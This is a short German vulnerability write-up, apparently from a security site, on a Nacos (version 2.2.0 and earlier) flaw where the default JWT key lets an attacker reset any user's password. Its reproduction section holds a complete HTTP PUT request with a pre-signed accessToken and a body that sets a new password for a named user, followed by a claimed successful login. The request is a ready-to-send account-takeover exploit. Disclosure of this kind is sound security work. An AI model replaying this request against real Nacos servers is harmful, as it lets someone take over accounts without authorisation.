Auswirkungen der Schwachstelle

In Nacos wurde eine Schwachstelle entdeckt, die Nacos <= 2.2.0 betrifft. Wenn ein Benutzer den standardmäßigen JWT-Schlüssel verwendet, kann ein Angreifer das Passwort eines beliebigen Benutzers zurücksetzen und das Benutzerkonto übernehmen.

Betroffenes Produkt

Nacos-Version <= 2.2.0

Reproduktion der Schwachstelle

Schritt 1：Benutzernamen ermitteln (alte Schwachstelle ausnutzen oder raten)

getuser

Schritt 2：Passwort zurücksetzen

PUT /nacos/v1/auth/users HTTP/1.1
Host: xx.xx.xxx.xx
Content-Length: 33
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhbDFleCIsImV4cCI6MTY2ODA4OTk2N30.hv0MWlHISYCgvIDQhidQBCeyYb7tbG0JrbNyx-9kDzc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=
Connection: close

username=al1ex&newPassword=al22ex

reset

Schritt 3: Erfolgreich anmelden

logins

Beliebteste

Alibab-Nacos-Unauthorized-Reset-PWD